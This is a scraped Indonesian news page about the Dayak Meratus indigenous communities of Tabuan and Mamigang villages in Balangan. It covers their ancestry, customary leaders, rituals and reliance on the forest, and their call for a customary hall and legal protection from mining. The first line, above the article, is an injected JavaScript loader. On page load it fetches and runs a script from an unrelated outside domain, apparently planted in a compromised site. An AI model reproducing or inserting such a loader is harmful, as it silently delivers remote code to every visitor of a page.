(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Masyarakat Adat Tabuan dan Mamigang Tergantung Hutan


PARINGIN, Masyarakat Adat Desa Tabuan dan Desa Mamigang adalah sekelompok masyarakat adat di Kabupaten Balangan. Mereka berasal dari keturunan Datu Dayuhan, Datu Ranggang dan Datu Balangan. Memiliki aliran kepercayaan leluhur “balian” dengan dialek bahasa yang beragam. Mereka bercocok tanam padi menggunakan sistem pertanian tradisional ladang berpindah (manugal).

Seperti diungkapkan Penyuluhan Kehutanan di wilayah KPH Balangan, Meilanie Olivia (23/5). Masyarakat adat tersebut merupakan satu rumpun adat yang bernama Dayak Meratus. Mendiami sepanjang pegunungan Meratus. Seperti Gunung Hauk, Gunung Puncak, Tanah Hidup (Hulu Sungai Balangan), Puncak Gunung Bakarasik, Puncak Batu Digahai, Gunung Hulu Sungai Tabuan, Hulu Sungai Singsingan, Hulu Sungai Tayan, dan Hulu Sungai Uren, sampai perbatasan Kaltim.

“Untuk Desa Tabuan, balian dan pengulu bernama Hairil, sekaligus sebagai ketua lembaga adat. Sedangkan di Desa Mamigang, untuk balian bernama Gobar, Utuh Tukang dan Kidip, serta pengulunya bernama Pansuhar dan Gobar,” cerita Meilanie.

Balai adat di Desa Tabuan, tuturnya, masih belum ada. Untuk upacara adat ,mereka membangun panggung di depan rumah kepala adat atau penduduk setempat. Sedangkan di Desa Mamigang sudah memiliki balai adat yang berdiri sejak tahun 2018, dengan nama balai adat Datu Angsuling. Mereka melaksanakan ritual keagamaan ataupun upacara adat lainnya di balai tersebut.

Ritual adat yang ada di Desa Tabuan dan Mamigang tidak jauh berbeda dengan masyarakat adat lainnya. Antara lain Bapalas Bidan (kelahiran), Mongket (perkawinan), Mongket Asbah (perkawinan naik wali), Mongket Penghulu (perkawinan bawah tangan/nikah siri), Nikol bilalees (perkawinan paling tinggi/lengkap), Batimbuk (Membatur/meletakkan nisan), Ngelangakang (syukuran ke kuburan/hajat terkabul), Aruh Bontang Mamati (mehaul), Aruh Bontang Hajat/Sambat (bernazar), Malatuu (bercocok tanam),Tawas Ja (merawat lingkungan/kampung).

Meilanie Olivia mengemukakan, masyarakat adat pada umumnya sangat mencintai hutan. Karena mereka hidup dan beraktivitas dengan bergantung pada hutan untuk memenuhi kebutuhan hidup sehari hari. Terutama untuk melakukan kegiatan perladangan dan pertanian. Banyak dari mereka yang membangun rumah dan berladang di dalam kawasan dan di sekitar hutan.

Masyarakat adat di Desa Tabuan dan Desa Mamigang, lanjut dia, sangat mengharapkan bantuan pemerintah atau pihak terkait untuk pembangunan balai adat ataupun renovasi balai adat yang sudah ada.

“Mereka juga mengharapkan adanya perlindungan hukum untuk hutan adat dari ancaman masuknya izin pertambangan atau kegiatan lain yang dapat merusak kelestarian hutan,” ungkapnya. (fanie/kphbalangan)

Reporter :Fanie/kphbalangan
Editor :Cell

Desy Arfianty

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

11 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

11 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

18 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

18 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

22 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

23 jam ago

This website uses cookies.